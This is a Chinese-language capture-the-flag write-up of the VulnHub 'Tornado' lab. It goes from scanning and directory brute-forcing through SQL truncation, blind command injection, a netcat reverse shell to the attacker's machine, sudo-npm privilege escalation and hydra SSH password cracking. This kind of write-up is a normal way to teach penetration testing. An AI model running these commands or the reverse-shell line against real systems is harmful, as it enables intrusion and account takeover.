靶机下载地址: https://www.vulnhub.com/entry/ia-tornado,639/
教程链接地址 1: https://blog.csdn.net/hljzzj/article/details/122952426
教程链接地址 2: https://www.cnblogs.com/hirak0/articles/16207580.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135 (由于设置成了 DHCP、可能多变)
靶机 TORANDO:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

2 )粗略的识别一下该 ip 上开放了哪些端口
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

-> 靶机 ip:192.168.31.83 靶机开放端口 22,80
3 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息
sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.183 --min-rate=5000

检索到的有效服务如下所示:
22 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 http:可对 web 进行渗透测试收集信息
# 网站信息收集
打开 http://192.168.0.183/ 进行信息收集

一个 apache 界面,看了一下框架,查看 robots 协议,.git 文件,审查源代码后均没有什么发现,开始扫描目录
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirb/common.txt --url http://192.168.0.183
common.txt 字典稍微小一点,扫的速度比较快,是个不错的字典

没有扫描到有价值的信息,换个大字典在扫一下
gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.183/

扫到一个目录 bluesky,访问 http://192.168.0.183/bluesky 发现了一个新的站点,是一个新的 web 界面,可对此进行扫描

gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirb/common.txt --url http://192.168.0.183/bluesky

# wfuzz 测试参数
看到了注册登陆的功能,可以在 signup.php 下注册

然后在 login.php 下登陆

登陆成功之后,dashboard 页面显示出了当前的用户名

在 port 界面看到了有一个 LFI 漏洞的提示

用 wfuzz 测试一下是否有参数
wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -c -u http://192.168.0.183/bluesky/port.php?FUZZ=xxx

发现回显全是 302 ,过滤之后在看看,判断是否有参数
wfuzz -c -u http://192.168.31.53/bluesky/port.php?FUZZ=xxx) -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt | grep -v 302

审查源代码,看看有没有什么提示,发现了一个文件

但是访问不到这个文件,可能是做了一些变异

# 脑力测试解谜
依次尝试怎么能访问到这个 imp.txt,最后在如下链接中找到了 imp.txt
http://192.168.0.168/~torando/imp.txt

最后还有一个 contact.php,点开看看说是一些功能出于安全因素已经修复

整理一下收集到的重要的信息,有一份 imp.txt 可能是一些邮箱地址,还有一个注册一个登陆的地方,需要通过这几个条件做突破
将 imp.txt 下载到本地

依次用这几个用户尝试注册登陆,第一个用户是新用户,可进入其管理中心

第二个也是一个未注册的新用户

直到用第三个用户注册的时候,发现了输入的用户名的长度被限制了

修改源代码的长度限制,注册此用户

注册后发现也是一个新用户,可以进入其管理中心,想必这几个用户大部分都是未注册的用户,少部分是一些敏感用户,直接用 burp 批量注册发现有两个用户是注册过的一个是 admin@torando,一个是 jacob@torando

这两个用户是已经存在的用户,考虑爆破密码

# burp 批量注册
数据拦截到 burp 中,选择 Cluster bomb 模式,对其进行爆破

uname 参数就设置为两个已经存在的用户

密码就选用常用来做 web 目录扫描的 directory-list-2.3-meduim.txt

爆破了一段时间之后,出现了结果,爆出来了 admin 用户的两个密码,是的两个密码,很奇怪,为什么会有两个密码?

选取一个密码进入 admin 的管理中心看看,没有什么发现

最后的线索指向了一个已经注册的用户 jacob@torando,还有在页面前端做了 13 的长度限制,以及 admin 用户有两个密码。
# sql 截断攻击
sql 截断攻击:
当数据库由于长度限制而截断用户输入时,就会发生 SQL 截断漏洞。攻击者可以收集关键字段 (例如用户名) 长度的信息,并利用这些信息获得未经授权的访问。
改变用户名的输入框的输入限制,并开始给 jacob@tornado 用户再次申请一个密码。

注册成功之后,用 jacob@tornado 登陆后发现是可以的

在这个用户的 contact.php 界面找到了一个可以交互的界面

输入内容后,在页面中有回显,左下角显示出来了 id

# 无回显 RCE
既然有输入有回显,就很有可能是 RCE 漏洞,输入 id’;id, 但是回显依然是本身,可能不是单纯的 linux 的 echo‘id’命令

不知道命令是否执行了,用命令注入无回显的方法试试,先用 dnslog 测试

但是 dnslog 没有任何回显,可能命令执行了,但是服务器没有 curl 命令也会出现这样的情况,还可以用抓包的方式判断此命令是否执行。
# tcpdump 抓包
在 kali 上用 tcpdump 抓包,监听 eth0 网卡,以及靶机 ip
sudo tcpdump -i eth0 host 192.168.0.183

此接口处用来 ping kali 机器,注意一定要搞成发送固定的数据包,不然 ping 没法中断下来,导致重启靶机才能解决 ping -c 4 192.168.0.168

在 ping 之后,上述 tcpdump 就会抓取到网卡的数据,证明这里的命令最终会被服务器执行,就可以在这里构造 payload 反弹 shell。
反弹 shell,接受会话,美化终端
nc 192.168.0.168 4444 -e /bin/bash

收集服务器信息

发现服务器有 root、catchme、tornado 三个有 bash 的用户,并且 www-data 可以免密调用 catchme 的 npm 命令执行
# sudo (npm) 提权
在 GTFobins 上找到了思路,写 payload 进行提权需要两个文件,一个 package.json, 一个 shell.sh,用 chmod 使其可执行
1 | vi package.json |

或者可以直接浓缩为一句话的 linux 命令,直接提权至 catchme 用户
1 | cd /tmp ; echo ' { "name": "shell", "version": "1.0.0", "description": "", "main": |

# 凯撒解密脚本
在用户目录下找到了一个加密的英文字符串,看到 trrwnqc 之后感觉很像是一个英文字符移位之后的显示,猜测是采用了凯撒加密。

网上找一个可以解密恺撒解密的脚本放在本地
1 | import string |
此脚本的作用就是依次计算加密字符串偏移 1 - 26 后的解密值

运行脚本之后得到了如下字符串,其中最可疑的是 idkrootpussword

看样子像是 root 的密码,但是试了一下,不能凭借此密码登陆到 root

既然这个密码不是最终的密码,就写一些变体如下

用 hydra 尝试一一破解,最后得到了真实的 root 密码
hydra -l root -P secret.txt ssh://192.168.0.183 -f -t 64 -I -vV

-> 切换到了 root 用户成功,拿到了 root 权限

# tcpdump 抓包命令
TCPDump 可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供 and、or、not 等逻辑语句来帮助你去掉无用的信息。他的功能与 wireshark 的功能相同,是命令行版本的抓包工具。
1 | 按网卡过滤: |

1 | -r <数据包文件> :从指定的文件读取数据包数据; |

1 | 按主机名过滤: |